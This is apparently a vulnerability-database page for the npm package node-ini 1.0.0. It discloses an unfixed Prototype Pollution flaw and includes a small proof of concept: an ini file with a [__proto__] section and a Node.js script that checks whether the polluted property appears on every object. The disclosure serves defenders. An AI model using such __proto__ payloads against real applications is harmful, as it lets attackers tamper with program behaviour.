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node-ini@1.0.0 vulnerabilities

A simple .ini config parser that supports sections, comments, arrays, and objects.

  • latest version

    1.0.0

  • first published

    12 years ago

  • latest version published

    12 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the node-ini package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    node-ini is a simple .ini config parser that supports sections, comments, arrays, and objects.

    Affected versions of this package are vulnerable to Prototype Pollution. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program by providing an ini file with the __proto__ object.

    PoC

    test.ini
[__proto__]
polluted = polluted

 PoC.js
var ini = require('node-ini');
console.log({}.polluted);
ini.parse('./test.ini', function(err,data){
  if(err) console.log(err)
  else {
    console.log(data)
    console.log({}.polluted)
  }
});

    How to fix Prototype Pollution?

    There is no fixed version for node-ini.

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